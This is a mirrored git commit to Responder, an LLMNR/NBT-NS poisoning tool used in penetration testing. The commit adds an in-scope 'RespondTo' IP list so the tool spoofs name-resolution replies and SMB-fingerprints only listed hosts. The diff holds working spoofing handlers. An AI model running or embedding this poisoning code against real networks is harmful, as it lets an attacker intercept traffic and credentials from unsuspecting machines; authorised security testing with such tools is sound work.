mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-08 05:50:58 -07:00
Added: in-scope only target. See Responder.conf.
This commit is contained in:
parent
9b608aad30
commit
0465bd604d
2 changed files with 93 additions and 34 deletions
|
@ -19,6 +19,10 @@ Bind_to = 0.0.0.0
|
||||||
;Set this to change the default logging file
|
;Set this to change the default logging file
|
||||||
SessionLog = Responder-Session.log
|
SessionLog = Responder-Session.log
|
||||||
;
|
;
|
||||||
|
;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||||
|
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||||
|
RespondTo =
|
||||||
|
;
|
||||||
[HTTP Server]
|
[HTTP Server]
|
||||||
;;
|
;;
|
||||||
;Set this to On if you want to always serve a specific file to the victim.
|
;Set this to On if you want to always serve a specific file to the victim.
|
||||||
|
|
123
Responder.py
123
Responder.py
|
@ -63,6 +63,8 @@ Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
|
||||||
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
|
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
|
||||||
FILENAME = config.get('HTTP Server', 'Filename')
|
FILENAME = config.get('HTTP Server', 'Filename')
|
||||||
WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||||
|
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||||
|
RespondTo.split(",")
|
||||||
#Cli options.
|
#Cli options.
|
||||||
OURIP = options.OURIP
|
OURIP = options.OURIP
|
||||||
LM_On_Off = options.LM_On_Off.upper()
|
LM_On_Off = options.LM_On_Off.upper()
|
||||||
|
@ -141,6 +143,18 @@ def Is_Finger_On(Finger_On_Off):
|
||||||
if Finger_On_Off == "OFF":
|
if Finger_On_Off == "OFF":
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
def RespondToSpecificHost(RespondTo):
|
||||||
|
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def RespondToIPScope(RespondTo, ClientIp):
|
||||||
|
if ClientIp in RespondTo:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
##################################################################################
|
##################################################################################
|
||||||
#NBT NS Stuff
|
#NBT NS Stuff
|
||||||
##################################################################################
|
##################################################################################
|
||||||
|
@ -188,22 +202,44 @@ class NB(SocketServer.BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
request, socket = self.request
|
request, socket = self.request
|
||||||
data = request
|
data = request
|
||||||
if data[2:4] == "\x01\x10":
|
if RespondToSpecificHost(RespondTo):
|
||||||
if Validate_NBT_NS(data,Wredirect):
|
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||||
buff = NBT_Ans()
|
if data[2:4] == "\x01\x10":
|
||||||
buff.calculate(data)
|
if Validate_NBT_NS(data,Wredirect):
|
||||||
for x in range(1):
|
buff = NBT_Ans()
|
||||||
socket.sendto(str(buff), self.client_address)
|
buff.calculate(data)
|
||||||
print "NBT-NS Answer sent to: ", self.client_address[0]
|
for x in range(1):
|
||||||
logging.warning('NBT-NS Answer sent to: %s'%(self.client_address[0]))
|
socket.sendto(str(buff), self.client_address)
|
||||||
if Is_Finger_On(Finger_On_Off):
|
print "NBT-NS Answer sent to: ", self.client_address[0]
|
||||||
try:
|
logging.warning('NBT-NS Answer sent to: %s'%(self.client_address[0]))
|
||||||
Finger = RunSmbFinger((self.client_address[0],445))
|
if Is_Finger_On(Finger_On_Off):
|
||||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
try:
|
||||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
Finger = RunSmbFinger((self.client_address[0],445))
|
||||||
except Exception:
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
pass
|
except Exception:
|
||||||
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
|
else:
|
||||||
|
if data[2:4] == "\x01\x10":
|
||||||
|
if Validate_NBT_NS(data,Wredirect):
|
||||||
|
buff = NBT_Ans()
|
||||||
|
buff.calculate(data)
|
||||||
|
for x in range(1):
|
||||||
|
socket.sendto(str(buff), self.client_address)
|
||||||
|
print "NBT-NS Answer sent to: ", self.client_address[0]
|
||||||
|
logging.warning('NBT-NS Answer sent to: %s'%(self.client_address[0]))
|
||||||
|
if Is_Finger_On(Finger_On_Off):
|
||||||
|
try:
|
||||||
|
Finger = RunSmbFinger((self.client_address[0],445))
|
||||||
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
|
except Exception:
|
||||||
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
|
pass
|
||||||
|
|
||||||
##################################################################################
|
##################################################################################
|
||||||
#Browser Listener
|
#Browser Listener
|
||||||
|
@ -705,7 +741,7 @@ def Parse_IPV6_Addr(data):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def RunLLMNR():
|
def RunLLMNR():
|
||||||
ALL = "0.0.0.0"
|
ALL = BIND_TO_IP
|
||||||
MADDR = "224.0.0.252"
|
MADDR = "224.0.0.252"
|
||||||
MPORT = 5355
|
MPORT = 5355
|
||||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
|
||||||
|
@ -717,22 +753,41 @@ def RunLLMNR():
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
data, addr = sock.recvfrom(1024)
|
data, addr = sock.recvfrom(1024)
|
||||||
if data[2:4] == "\x00\x00":
|
if RespondToSpecificHost(RespondTo):
|
||||||
if Parse_IPV6_Addr(data):
|
if RespondToIPScope(RespondTo, addr[0]):
|
||||||
global Name
|
if data[2:4] == "\x00\x00":
|
||||||
Name = Parse_LLMNR_Name(data,addr)
|
if Parse_IPV6_Addr(data):
|
||||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
Name = Parse_LLMNR_Name(data,addr)
|
||||||
buff.calculate()
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
for x in range(1):
|
buff.calculate()
|
||||||
sock.sendto(str(buff), addr)
|
for x in range(1):
|
||||||
if Is_Finger_On(Finger_On_Off):
|
sock.sendto(str(buff), addr)
|
||||||
try:
|
if Is_Finger_On(Finger_On_Off):
|
||||||
Finger = RunSmbFinger((addr[0],445))
|
try:
|
||||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
Finger = RunSmbFinger((addr[0],445))
|
||||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
except Exception:
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
logging.warning('[+] Fingerprint failed for host: %s'%(addr[0]))
|
except Exception:
|
||||||
pass
|
logging.warning('[+] Fingerprint failed for host: %s'%(addr[0]))
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
if data[2:4] == "\x00\x00":
|
||||||
|
if Parse_IPV6_Addr(data):
|
||||||
|
Name = Parse_LLMNR_Name(data,addr)
|
||||||
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
|
buff.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
sock.sendto(str(buff), addr)
|
||||||
|
if Is_Finger_On(Finger_On_Off):
|
||||||
|
try:
|
||||||
|
Finger = RunSmbFinger((addr[0],445))
|
||||||
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
|
except Exception:
|
||||||
|
logging.warning('[+] Fingerprint failed for host: %s'%(addr[0]))
|
||||||
|
pass
|
||||||
except:
|
except:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
@ -805,7 +860,7 @@ class DNSTCP(SocketServer.BaseRequestHandler):
|
||||||
self.request.send(buff)
|
self.request.send(buff)
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
pass
|
||||||
|
|
||||||
##################################################################################
|
##################################################################################
|
||||||
#HTTP Stuff
|
#HTTP Stuff
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue